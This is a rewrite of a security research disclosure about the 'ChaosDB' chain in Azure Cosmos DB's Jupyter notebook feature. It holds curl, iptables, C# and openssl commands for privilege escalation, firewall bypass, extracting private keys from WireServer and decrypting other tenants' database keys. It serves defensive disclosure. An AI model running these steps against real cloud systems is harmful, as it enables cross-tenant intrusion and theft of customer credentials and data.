Uncovering the basics—What is Azure Cosmos DB?
A chain of misconfigurations in Azure Cosmos DB's Jupyter Notebook container allowed an attacker to gain root, bypass local firewall rules, and query internal Azure services to obtain certificates and keys, ultimately enabling access to other customers' databases.
Published on wiz.io
This is the full story of the Azure ChaosDB Vulnerability that was discovered and disclosed by the Wiz Research Team, where we were able to gain complete unrestricted access to the databases of several thousand Microsoft Azure customers. In August 2021, we disclosed to Microsoft a new vulnerability in Cosmos DB that…
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Azure Cosmos DB is Microsoft's fully managed NoSQL database, launched in May 2017 and used by high-profile customers, including many Fortune 500 companies. In the report's own quotation of Microsoft's documentation, it offers single-digit millisecond response times, automatic and instant scalability, and SLA-backed availability.
Access to a Cosmos DB instance is controlled by API keys for reading, writing and deleting operations, with permissions managed through standard Azure IAM. To perform any operation you supply the Cosmos DB endpoint and an appropriate API key, the Primary Key. The report describes the Primary Key of a Cosmos DB Account as the equivalent of the root password in a traditional on-premises database.
The feature at the centre of the story is the embedded Jupyter Notebook container that Cosmos DB instances came with. Jupyter is an open-source web application for creating and sharing documents containing live code, equations, visualisations and narrative text. In Cosmos DB it offered terminal access and the ability to interact with the instance in several languages (Python, C#, and others). The credentials to the Cosmos DB Account were pre-configured in the environment variables of the container image so that the SDK could use them transparently.
In August 2021 the Wiz Research Team disclosed a chain of misconfigurations in that notebook feature that let them retrieve internal keys used to manage the service. The high-level workflow was:
- Set up a Jupyter Notebook container on your Azure Cosmos DB
- Run any C# code to obtain root privileges
- Remove firewall rules set locally on the container in order to gain unrestricted network access
- Query WireServer to obtain information about installed extensions, certificates and their corresponding private keys
- Connect to the local Service Fabric, list all running applications, and obtain the Primary Key to other customers' databases
- Access Service Fabric instances of multiple regions over the internet
Setup
The researchers worked from inside the Jupyter Notebook container attached to a Cosmos DB account. They knew that, by design, the notebook allows arbitrary code execution. The tools used along the way were the embedded Jupyter terminal and the default Python3 notebook, a C# notebook, iptables, curl, jq, OpenSSL, ILSpy for decompiling the Windows guest agent, sfctl for talking to Service Fabric, Azure Storage Explorer, and Google Chrome for certificate-authenticated web endpoints.
Finding it
The starting observation was simple: the notebook executes code, so the question was what privilege that code runs with. When the researchers used the embedded Jupyter terminal or the default Python3 notebook, their code ran as an unprivileged, non-sudo user named cosmosuser, which appears to be the developers' intent. When they executed C# code, it ran with root privileges.
Every language the notebook supports has its own host process that executes user-supplied code and passes the output to the web UI. For C# specifically, that host process was running as root, so any C# code was executed as root too. The researchers call this a misconfiguration and used it to escalate inside the container.
Exploitation
Step 1: local privilege escalation through the C# notebook
With root available through the C# host process, the researchers appended a line to /etc/passwd, creating a new user with uid=0 and gid=0, then switched to that user with su, which gave them effective root inside the container. The motivation was curiosity about the environment: who owns it, and is it shared across users? As root, they hoped to answer that.
Step 2: removing the local firewall
As root they inspected the container's iptables rules to see which network resources they could and could not reach. The rules blocked three addresses:
[redacted], the IMDS Metadata Service[redacted]/16, an internal subnet the researchers were not familiar with[redacted], another unfamiliar IP address
Because the rules were configured locally on the container where they now had root, clearing them took one command:
iptables -F
That removed the restrictions and opened the way to the forbidden addresses. The researchers note that a safer place to enforce such rules is outside the Jupyter Notebook container, where a hacker cannot bypass them even with root privileges.
Step 3: querying IMDS
[redacted] is the Azure Instance Metadata Service, which holds metadata about the running VM such as storage and network configuration. A single HTTP request returns information unique to the VM. The researchers sent one and found three things that did not fit their container:
- The Azure environment was
AzurePublicCloud, and the subscription ID was not a subscription they owned. osTypewasWindows, even though they were running Linux commands on a Linux terminal.- The machine had an IP address in the
[redacted]/16subnet, the same subnet the firewall rules had been protecting.
Together these showed they were not querying the metadata service of their container but of the host machine, which appeared to live in a shared environment.
root@notebook:/home/cosmosuser# curl -s -H Metadata:true --noproxy "*" "http://[redacted]/metadata/instance?api-version=2021-02-01" | jq
{
"compute": {
"azEnvironment": "AzurePublicCloud",
"customData": "",
"evictionPolicy": "",
"isHostCompatibilityLayerVm": "false",
"licenseType": "",
"location": "eastus",
"name": "CV2CW02_3",
"offer": "WindowsServer",
"osProfile": {
"adminUsername": "cosmosadmin",
"computerName": "CV2CW02000003",
"disablePasswordAuthentication": ""
},
"osType": "Windows",
"placementGroupId": "[REDACTED]",
"plan": {
"name": "",
"product": "",
"publisher": ""
},
"platformFaultDomain": "3",
"platformUpdateDomain": "3",
"priority": "",
"provider": "Microsoft.Compute",
"publicKeys": [],
"publisher": "MicrosoftWindowsServer",
"resourceGroupName": "eastus-cdb-ms-prod-eastus1-cs1",
"resourceId": "/subscriptions/[REDACTED]/resourceGroups/eastus-cdb-ms-prod-eastus1-cs1/providers/Microsoft.Compute/virtualMachineScaleSets/CV2CW02/virtualMachines/3",
"securityProfile": {
"secureBootEnabled": "false",
"virtualTpmEnabled": "false"
},
"sku": "datacenter-core-2004-with-containers-smalldisk",
"storageProfile": {
"dataDisks": [
{
"caching": "None",
"createOption": "Empty",
"diskSizeGB": "128",
"image": {
"uri": ""
},
"lun": "0",
"managedDisk": {
"id": "/subscriptions/[REDACTED]/resourceGroups/EASTUS-CDB-MS-PROD-EASTUS1-CS1/providers/Microsoft.Compute/disks/CV2CW02_CV2CW02_3_disk2_[REDACTED]",
"storageAccountType": "Premium_LRS"
},
"name": "CV2CW02_CV2CW02_3_disk2_[REDACTED]",
"vhd": {
"uri": ""
},
"writeAcceleratorEnabled": "false"
}
],
"imageReference": {
"id": "",
"offer": "WindowsServer",
"publisher": "MicrosoftWindowsServer",
"sku": "datacenter-core-2004-with-containers-smalldisk",
"version": "19041.985.2105050408"
},
"osDisk": {
"caching": "ReadOnly",
"createOption": "FromImage",
"diffDiskSettings": {
"option": ""
},
"diskSizeGB": "30",
"encryptionSettings": {
"enabled": "false"
},
"image": {
"uri": ""
},
"managedDisk": {
"id": "/subscriptions/[REDACTED]/resourceGroups/eastus-cdb-ms-prod-eastus1-cs1/providers/Microsoft.Compute/disks/CV2CW02_CV2CW02_3_OsDisk_1_[REDACTED]",
"storageAccountType": "Premium_LRS"
},
"name": "CV2CW02_CV2CW02_3_OsDisk_1_[REDACTED]",
"osType": "Windows",
"vhd": {
"uri": ""
},
"writeAcceleratorEnabled": "false"
},
"resourceDisk": {
"size": "4096000"
}
},
"subscriptionId": "[REDACTED]",
"tags": "federationName:cdb-ms-prod-eastus1-cs1;platformsettings.host_environment.service.platform_optedin_for_rootcerts:true",
"tagsList": [
{
"name": "federationName",
"value": "cdb-ms-prod-eastus1-cs1"
},
{
"name": "platformsettings.host_environment.service.platform_optedin_for_rootcerts",
"value": "true"
}
],
"userData": "",
"version": "19041.985.2105050408",
"vmId": "[REDACTED]",
"vmScaleSetName": "CV2CW02",
"vmSize": "SQLG5_NP80s",
"zone": ""
},
"network": {
"interface": [
{
"ipv4": {
"ipAddress": [
{
"privateIpAddress": "[redacted]",
"publicIpAddress": ""
}
],
"subnet": [
{
"address": "[redacted]",
"prefix": "24"
}
]
},
"ipv6": {
"ipAddress": []
},
"macAddress": "[REDACTED]"
}
]
}
The response describes a Windows Server host in eastus, part of a VM scale set named CV2CW02, with the resource group eastus-cdb-ms-prod-eastus1-cs1, and a private address of [redacted] in the [redacted]/24 subnet. The tags include federationName:cdb-ms-prod-eastus1-cs1 and platformsettings.host_environment.service.platform_optedin_for_rootcerts:true.
Step 4: querying WireServer
Searching for [redacted] led the researchers to the WireServer, a virtual IP address that exists on every Azure VM. Microsoft offers almost no official documentation for it; the researchers credit Paul Litvak from Intezer with prior research on WireServer vulnerabilities. WireServer manages aspects and features of VMs in Azure, in particular the extensions of every Azure VM. Extensions are software applications Azure manages, either first-party software such as Azure's log analytics agent or supported third-party software such as Datadog. Every Azure VM comes pre-installed with one of two agents, one for Windows and one for Linux, and WireServer is effectively the backend those agents query for the information they need.
The Linux agent, WA-Agent or WA-Linux-Agent, is open source on GitHub, so the researchers read its source to learn the WireServer endpoints. Three endpoints mattered:
Goal state: a phone book of endpoints the agent needs to query to fetch configuration settings. Any Azure VM's Goal State can be downloaded with a simplecurlcommand.ExtensionsConfig: information about all extensions installed on the VM. These configurations sometimes contain sensitive information such as hardcoded passwords or keys, and that information is encrypted.Certificates: the encryption keys used to decrypt the encrypted segments in the ExtensionsConfig.
They first fetched the Goal State:
The Goal State returns the URLs for the machine's configuration endpoints, including ExtensionsConfig, Certificates, FullConfig, SharedConfig and HostingEnvironmentConfig, all under [redacted]:80 and tied to incarnation 19. The researchers then queried the ExtensionsConfig URL:
root@notebook:/home/cosmosuser# curl -s "http://[redacted]:80/machine/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f-ad20-4bb3-839f-<REDACTED>._CV2FI02_0?comp=config&type=extensionsConfig&incarnation=19" -H "x-ms-agent-name: WALinuxAgent" -H "x-ms-version: 2012-11-30"
<?xml version="1.0" encoding="utf-8"?>
<Extensions version="[redacted]" goalStateIncarnation="19"><GuestAgentExtension xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<GAFamilies>
<GAFamily>
<Name>Win7</Name>
</GAFamily>
<GAFamily>
<Name>Win8</Name>
<Uris> <Uri>https://zrd<REDACTED>02.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>07.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>r01a.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://rd<REDACTED>03.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>r10a.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>r05a.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://rd<REDACTED>01.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://rd<REDACTED>01.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>05.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://rd<REDACTED>01.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://brd<REDACTED>04.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>r09a.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>03.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://rd<REDACTED>02.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>09.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://rd<REDACTED>02.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>r03a.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://rd<REDACTED>02.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>
</Uris>
</GAFamily>
</GAFamilies>
<Location>westus</Location>
<ServiceName>CRP</ServiceName>
</GuestAgentExtension>
<StatusUploadBlob statusBlobType="PageBlob">https://md-<REDACTED>.z13.blob.storage.azure.net/$system/CV2FI02_0.6eb0b152-261a-4bc7-89ae-<REDACTED>.status?sv=2018-03-28&sr=b&sk=system-1&[redacted]&se=9999-01-01T00%3a00%3a00Z&sp=w</StatusUploadBlob>
<Plugins>
<Plugin name="Microsoft.Azure.Security.Dsms.DsmsForWindows" version="[redacted]" location="https://rd<REDACTED>02.blob.core.windows.net/<REDACTED>/Microsoft.Azure.Security.Dsms_DSMSForWindows_uswest_manifest.xml" state="enabled" autoUpgrade="true" failoverlocation="https://brd<REDACTED>04.blob.core.windows.net/<REDACTED>/Microsoft.Azure.Security.Dsms_DSMSForWindows_uswest_manifest.xml" runAsStartupTask="false" isJson="true" useExactVersion="true" />
<Plugin name="Microsoft.Azure.ServiceFabric.ServiceFabricNode" version="[redacted]" location="https://zrd<REDACTED>07.blob.core.windows.net/<REDACTED>/Microsoft.Azure.ServiceFabric_ServiceFabricNode_uswest_manifest.xml" state="enabled" autoUpgrade="true" failoverlocation="https://rd<REDACTED>02.blob.core.windows.net/<REDACTED>/Microsoft.Azure.ServiceFabric_ServiceFabricNode_uswest_manifest.xml" runAsStartupTask="false" isJson="true" useExactVersion="true" />
</Plugins>
<PluginSettings>
<Plugin name="Microsoft.Azure.Security.Dsms.DsmsForWindows" version="[redacted]">
<RuntimeSettings seqNo="2">{
"runtimeSettings": [
{
"handlerSettings": {
"protectedSettingsCertThumbprint": "[redacted]",
"protectedSettings": "MIIB0AYJK<REDACTED>"
}
}
]
}</RuntimeSettings>
</Plugin>
<Plugin name="Microsoft.Compute.CustomScriptExtension" version="1.10.12">
<DependsOn dependencyLevel="1">
<DependsOnExtension handler="Microsoft.Azure.Security.Dsms.DsmsForWindows" />
</DependsOn>
</Plugin>
<Plugin name="Microsoft.Azure.Geneva.GenevaMonitoring" version="[redacted]">
<RuntimeSettings seqNo="2">{
"runtimeSettings": [
{
"handlerSettings": {
"publicSettings": {}
}
}
]
}</RuntimeSettings>
</Plugin>
<Plugin name="Microsoft.Azure.Security.AntimalwareSignature.AntimalwareConfiguration" version="2.58.15">
<RuntimeSettings seqNo="2">{
"runtimeSettings": [
{
"handlerSettings": {
"publicSettings": {}
}
}
]
}</RuntimeSettings>
</Plugin>
</PluginSettings>
The VM had several configured extensions:
Microsoft.Azure.Security.Dsms.DsmsForWindowsMicrosoft.Azure.Geneva.GenevaMonitoringMicrosoft.Azure.Security.AntimalwareSignature.AntimalwareConfigurationMicrosoft.Compute.CustomScriptExtensionMicrosoft.Azure.ServiceFabric.ServiceFabricNodeMicrosoft.Compute.CustomScriptExtension
These were most likely installed on the Windows host, not on the private Linux container. The next step was to extract information from these configurations in the hope of finding secrets for lateral movement inside the Cosmos DB environment.
Step 5: retrieving the decryption keys
Most extensions have two sections: publicSettings, plain text with generic information about the extension and its settings, and protectedSettings, encrypted, holding sensitive information. Hardcoded credentials and other sensitive data are supposed to live in protectedSettings. The agent decrypts that data with keys from the Certificates endpoint, but first it must supply a self-signed transport certificate that is used to encrypt the certificate bundle. That transport certificate is not validated by the server, so the researchers could supply their own instead of one generated by the host's agent. The public key goes in the x-ms-guest-agent-public-x509-cert header.
The request asks for the certificate bundle with comp=certificates, names the cipher DES_EDE3_CBC, and supplies the researcher's own public certificate. The response is a CertificateFile whose <Format> is CertificatesBondPackage.
In every other service the researchers had queried, the Certificates endpoint returned certificates encoded as Pkcs7BlobWithPfxContents, a bundle encrypted so that only the private key matching the supplied public key can decrypt it. On the Jupyter Notebook environment the same steps returned the Certificates Bond Package format instead, which the researchers had never seen. The usual OpenSSL commands for the standard format did not work, so they set out to decode it.
Step 6: decoding the Certificates Bond Package
Searching Google for the format produced nothing. The researchers then decided to reverse engineer the WireServer clients, the VM agents, reasoning that anything that knew how to decode the format would be an agent relying on it. The Linux agent source contained no reference to the format. The Windows agent was the better target: according to IMDS, the host was a Windows VM, so all WireServer responses were meant for the Windows agent, not the Linux one.
The Windows virtual machine agent, Windows Azure Guest Agent.exe, is not open source, but it is written in C#, so it can be decompiled fairly easily. The researchers used ILSpy and found the first reference to the CertificatesBondPackage format, together with its handling code, in Microsoft.WindowsAzure.RoleContainer.dll and Microsoft.WindowsAzure.Security.CredentialsManagement.Package.dll, both part of the Windows Azure Guest Agent.
Using existing functionality of the Windows agent, they wrote a snippet that mimics the agent's decoding of the Certificates Bond Package to obtain the keys in the familiar pkcs7 file format:
using Microsoft.Cis.Fabric.CertificateServices;
using Microsoft.WindowsAzure.GuestAgent.CertificateManager;
using Microsoft.WindowsAzure.Security.CredentialsManagement.Package;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading.Tasks;
using Bond.IO;
using Bond.IO.Unsafe;
using RD.Security.Dsms;
using Bond;
using Bond.Protocols;
namespace ConsoleApp2
{
class Program
{
static void Main(string[] args)
{
byte[] cert = File.ReadAllBytes(@"cerificate_bond.bin");
InputBuffer input = new InputBuffer(cert);
ManagedCertificatesPackage managedCertsData = Deserialize<SecretsPackage>.From(new CompactBinaryReader<InputBuffer>(input, 1)).ManagedCertsPackage;
var managedCertData = managedCertsData.CertsData;
byte[] array = new byte[managedCertData.Count];
Array.Copy(managedCertData.Array, managedCertData.Offset, array, 0, managedCertData.Count);
byte[] data = array;
File.WriteAllBytes(@"ManagedCertsPackage.bin", data);
InputBuffer input2 = new InputBuffer(cert);
ArraySegment<byte> unmanagedCertsData = Deserialize<SecretsPackage>.From(new CompactBinaryReader<InputBuffer>(input2, 1)).UnmanagedCertsData;
var unmanagedCertData = unmanagedCertsData;
byte[] array2 = new byte[unmanagedCertData.Count];
Array.Copy(unmanagedCertData.Array, unmanagedCertData.Offset, array2, 0, unmanagedCertData.Count);
byte[] data2 = array2;
File.WriteAllBytes(@"UnmanagedCertsData.bin", data2);
}
}
}
The snippet deserialises the Bond package into a SecretsPackage, extracts the managed and unmanaged certificate data, and writes each to its own file.
After decoding and decrypting the package, the researchers expected two keys, a private key and a public key used to encrypt and decrypt the protected settings. They got back 25 keys: 25 Microsoft certificates and their corresponding private keys.
user@laptop:~/cosmos$ grep subject ManagedCertificates.pem
subject=CN = fabricsecrets.documents.azure.com
subject=CN = secrets-kek.documents.azure.com
subject=CN = [redacted].by.cosmos.azure.com
subject=CN = [redacted]-secrets.by.cosmos.azure.com
subject=CN = [redacted].by.cosmos.azure.com
subject=CN = fabric.westus1.cosmos.azure.com
subject=CN = [redacted].cosmos.azure.com
subject=CN = metricsclient.geneva.core.windows.net
subject=CN = [redacted]-secrets.by.cosmos.azure.com
subject=CN = *.notebook.cosmos.azure.com
subject=CN = metricsclient.geneva.core.windows.net
subject=CN = fabric.westus1.cosmos.azure.com
subject=CN = /certificates/selfsigned/agentidcert/crpcustomers/services/vmss/by5prdapp04_f2a6f11f-ad20-4bb3-839f-<REDACTED>_wf/by5prdapp04_f2a6f11f-ad20-4bb3-839f-<REDACTED>-by5prdapp04-f2a6f11f-ad20-4bb3-839f-<REDACTED>--/crpcustomers/services/vmss/by5prdapp04_f2a6f11f-ad20-4bb3-839f-<REDACTED>_wf/by5prdapp04_f2a6f11f-ad20-4bb3-839f-<REDACTED>--by5prdapp04.fc.core.windows.net--f2a6f11f-ad20-4bb3-839f-<REDACTED>--uswest-dsms.dsms.core.windows.net
subject=CN = *.notebook.cosmos.azure.com
subject=CN = [redacted].cosmos.azure.com
subject=CN = fabric.westus1.cosmos.azure.com
subject=CN = fabricsecrets.documents.azure.com
subject=CN = secrets-kek.documents.azure.com
subject=CN = fabricsecrets.documents.azure.com
subject=CN = [redacted].cosmos.azure.com
subject=CN = secrets-kek.documents.azure.com
subject=CN = *.notebook.cosmos.azure.com
subject=CN = [redacted].by.cosmos.azure.com
subject=CN = [redacted]-secrets.by.cosmos.azure.com
subject=CN = metricsclient.geneva.core.windows.net
user@laptop:~/cosmos$ grep subject UnmanagedCertificates.pem
subject=DC = Windows Azure CRP Certificate Generator
The bundle contained certificates the researchers probably should not have had. They singled out three:
fabricsecrets.documents.azure.comfabric.westus1.cosmos.azure.com*.notebook.cosmos.azure.com, which on its own allows interception of encrypted SSL traffic of customers' Jupyter Notebooks running on the host Windows VM
Step 7: storage accounts and the internal Service Fabric
Returning to the ExtensionConfig, the researchers noticed that the ServiceFabricNode extension's public settings contained the cluster endpoint of the machine's Service Fabric cluster and the common name of the certificate required for authentication:
"publicSettings": {"clusterEndpoint":"https://westus.servicefabric.azure.com/runtime/clusters/83bd67e7-7bb1-4f4f-826f-<REDACTED>", ...snip... ,"certificate":{"commonNames":["fabric.westus1.cosmos.azure.com"],"x509StoreName":"My"}}
Opening the clusterEndpoint URL in Google Chrome prompted for a client certificate. The researchers used the fabric.westus1.cosmos.azure.com certificate obtained from WireServer, since it was named in the extension's publicSettings. The response was a large XML manifest with cluster information, including connection strings to several Azure Storage Accounts that can be accessed with the Storage Account Key found in the decrypted protectedSettings of the ExtensionConfig:
The researchers also documented the OpenSSL commands they used to decrypt the protectedSettings section:
user@laptop:~/cosmos$ ls -la
total 144
drwxr-xr-x 2 user user 4096 Aug 9 20:37 .
drwxr-xr-x 3 user user 4096 Aug 9 19:53 ..
-rw------- 1 user user 121900 Aug 9 18:32 ManagedCertificates.pem
-rw------- 1 user user 3144 Aug 9 18:35 UnmanagedCertificates.pem
user@laptop:~/cosmos$ cat UnmanagedCertificates.pem | sed -n '/-----BEGIN PRIVATE KEY-----$/,/^-----END PRIVATE KEY-----$/p' > protected-key.pem
user@laptop:~/cosmos$ cat UnmanagedCertificates.pem | sed -n '/-----BEGIN CERTIFICATE-----$/,/^-----END CERTIFICATE-----$/p' > protected-cert.pem
user@laptop:~/cosmos$ echo MIIB0AYJKoZIhvcN...redacted...pqF8om/4fhhMgqGpu | base64 -d | openssl smime -inform DER -decrypt -recip protected-cert.pem -inkey protected-key.pem
{"Placeholder":"NothingImportant"}
user@laptop:~/cosmos$ echo MIICkwYJKoZIhvcN...redacted...pMd+kxSTnWwJLOwgl | base64 -d | openssl smime -inform DER -decrypt -recip protected-cert.pem -inkey protected-key.pem
{"StorageAccountKey1":"55410uWV0y5X...redacted...XCUEN2upGg==","StorageAccountKey2":"kNY61/TqYr4r...redacted...KOvBat3NbQ=="}
Using Azure Storage Explorer with those keys, the researchers found hundreds of gigabytes of metadata and operational logs, and millions of records about Cosmos DB's underlying infrastructure.
The manifest also described the Service Fabric nodes:
<NodeTypeName="CV2FI02">
<Endpoints>
<ClientConnectionEndpointPort="19000"/>
<LeaseDriverEndpointPort="1026"/>
<ClusterConnectionEndpointPort="1025"/>
<HttpGatewayEndpointPort="19080"Protocol="https"/>
<ServiceConnectionEndpointPort="1027"/>
<ApplicationEndpointsStartPort="20000"EndPort="30000"/>
<EphemeralEndpointsStartPort="30001"EndPort="65534"/>
</Endpoints>
<Certificates>
<ClusterCertificateX509FindType="FindBySubjectName"X509FindValue="fabric.westus1.cosmos.azure.com"Name="Certificate"/>
<ServerCertificateX509FindType="FindBySubjectName"X509FindValue="fabric.westus1.cosmos.azure.com"Name="Certificate"/>
<ClientCertificateX509FindType="FindBySubjectName"X509FindValue="fabric.westus1.cosmos.azure.com"Name="Certificate"/>
</Certificates>
<PlacementProperties>
<PropertyName="JanusGraphCapable"Value="true"/>
<PropertyName="MaterializedViewsBuilderCapable"Value="true"/>
<PropertyName="NodeTypeName"Value="CV2FI02"/>
<PropertyName="NotebookCapable"Value="true"/>
<PropertyName="RingRoleName"Value="CV2FI"/>
</PlacementProperties>
<Capacities>
<CapacityName="ComputeUnits"Value="80"/>
<CapacityName="ServiceFabric:/_CpuCores"Value="80"/>
<CapacityName="ServiceFabric:/_MemoryInMB"Value="442367"/>
</Capacities>
</NodeType>
</NodeTypes>
<Infrastructure>
<PaaS>
<Roles>
<RoleRoleName="CV2CB01"NodeTypeRef="CV2CB01"RoleNodeCount="5"/>
<RoleRoleName="CV2CW02"NodeTypeRef="CV2CW02"RoleNodeCount="7"/>
<RoleRoleName="CV2FI02"NodeTypeRef="CV2FI02"RoleNodeCount="8"/>
</Roles>
<Votes>
<VoteNodeName="_CV2FI02_0"IPAddressOrFQDN="[redacted]"Port="1025"/>
<VoteNodeName="_CV2FI02_1"IPAddressOrFQDN="[redacted]"Port="1025"/>
<VoteNodeName="_CV2FI02_2"IPAddressOrFQDN="[redacted]"Port="1025"/>
<VoteNodeName="_CV2FI02_3"IPAddressOrFQDN="[redacted]"Port="1025"/>
<VoteNodeName="_CV2FI02_4"IPAddressOrFQDN="[redacted]"Port="1025"/>
<VoteNodeName="_CV2FI02_5"IPAddressOrFQDN="[redacted]"Port="1025"/>
<VoteNodeName="_CV2FI02_6"IPAddressOrFQDN="[redacted]"Port="1025"/>
</Votes>
</PaaS>
</Infrastructure>
The manifest shows the HttpGatewayEndpoint on port 19080 over HTTPS, and the cluster, server and client certificates all identified by the subject fabric.westus1.cosmos.azure.com. It also lists the vote nodes in the [redacted]/16 subnet, the subnet the researchers had unblocked by flushing iptables. That meant the local Service Fabric HTTP gateway on port 19080 was reachable from the notebook container and could be authenticated with the fabric.westus1.cosmos.azure.com certificate.
Azure Service Fabric, per Microsoft's documentation, is a distributed systems platform for packaging, deploying and managing scalable and reliable microservices and containers, an alternative to Kubernetes.
Step 8: listing applications and decrypting other customers' secrets
The researchers connected and authenticated to the local Service Fabric on port 19080 with the fabric.westus1.cosmos.azure.com certificate using the sfctl command line, then ran sfctl application list to list running application instances. The output listed all Cosmos DB instances managed by this regional cluster, more than 500 of them, including instances that did not belong to their account.
Three fields in the output stood out:
COSMOSDB_ACCOUNT_KEY_ENCRYPTEDNOTEBOOK_AUTH_TOKEN_ENCRYPTEDNOTEBOOK_STORAGE_ACCOUNT_KEY_ENCRYPTED
These secrets were encrypted, as their names suggest, but the researchers held the certificate needed for decryption: fabricsecrets.documents.azure.com. The commands used to decrypt them:
user@laptop:~/cosmos$ cat msg.p7m
MIME-Version:1.0
Content-Disposition: attachment; filename="./msg.p7m"
Content-Type: application/x-pkcs7-mime; name="./msg.p7m"
Content-Transfer-Encoding: base64
MIICOgYJKoZIhvcNAQcDoIIC...redacted...6oYVI1iUIj9cS2K9JEQEvY1/A== // <--- COSMOSDB_ACCOUNT_KEY_ENCRYPTED
user@laptop:~/cosmos$ openssl cms -decrypt -in msg.p7m -inkey ./fabricsecrets.documents.azure.com.key -recip ./fabricsecrets.documents.azure.com.crt
EuFBNZOWMFIee...redacted...0G7W4iDZoQeCQQ== // <--- Plain-text for COSMOSDB_ACCOUNT_KEY_ENCRYPTED
Root cause
The chain rests on several design and configuration mistakes in the notebook feature and its host environment:
- The C# host process of the Jupyter Notebook ran as root, while the Python and terminal paths ran as
cosmosuser. Any C# code therefore executed with root privileges inside the container. - The firewall rules that restricted access to IMDS, the
[redacted]/16subnet and WireServer were enforced locally inside the container, where root could flush them withiptables -F. The researchers argue these rules belong outside the container. - The WireServer Certificates endpoint did not validate the transport certificate supplied in
x-ms-guest-agent-public-x509-cert, so a caller could choose the key that protects the returned bundle. The bundle itself then contained 25 certificates with their private keys, includingfabricsecrets.documents.azure.com,fabric.westus1.cosmos.azure.comand*.notebook.cosmos.azure.com. - The notebook container ran in a shared environment, and the Service Fabric cluster listed per-tenant secrets (
COSMOSDB_ACCOUNT_KEY_ENCRYPTED,NOTEBOOK_AUTH_TOKEN_ENCRYPTED,NOTEBOOK_STORAGE_ACCOUNT_KEY_ENCRYPTED) that thefabricsecrets.documents.azure.comcertificate could decrypt. - Service Fabric instances in multiple regions were reachable on port 19080 from the internet and accepted the same
fabric.westus1.cosmos.azure.comcertificate.
Impact
Using the information obtained through these misconfigurations, the researchers were able to:
- Obtain the plaintext Primary Key for any Cosmos DB instance running in their cluster, by decrypting
COSMOSDB_ACCOUNT_KEY_ENCRYPTEDwith thefabricsecrets.documents.azure.comcertificate, granting query and manipulation of customers' databases without authorisation. - Obtain the plaintext auth token for any Jupyter Notebook instance in the cluster, by decrypting
NOTEBOOK_STORAGE_ACCOUNT_KEY_ENCRYPTEDwith the same certificate and accessing the notebook atNOTEBOOK_PROXY_PATH, granting arbitrary code execution on customers' Jupyter VMs without authorisation. - Obtain plaintext passwords for customers' notebook storage accounts, by decrypting
NOTEBOOK_STORAGE_ACCOUNT_KEY_ENCRYPTEDand using the information inNOTEBOOK_STORAGE_FILE_ENDPOINTwith Azure Storage Explorer, granting access to and manipulation of customers' private saved notebooks. - Obtain the certificate for
*.notebook.cosmos.azure.com, granting interception of SSL traffic to these endpoints. - Obtain metadata about Cosmos DB's underlying infrastructure by accessing internal Azure storage blobs.
- Access the underlying infrastructure of Cosmos DB by browsing to Service Fabric Explorer on various endpoints and authenticating with
fabric.westus1.cosmos.azure.com.
Beyond the local cluster, the researchers scanned port 19080 on Microsoft's ASN and found more than 100 Service Fabric instances reachable on that port. They tried the fabric.westus1.cosmos.azure.com certificate against each, and authentication succeeded. One certificate gave them access to internal Service Fabric instances in multiple regions from the internet.
In total they proved access to thousands of companies' Cosmos DB instances (database, notebook environment and notebook storage) with full admin control via multiple authentication tokens and API keys, including many Fortune 500 companies. They also gained access to the infrastructure running Cosmos DB and showed that access could be maintained outside the vulnerable application, over the internet. The report calls this as close as it gets to a service takeover.
Fix
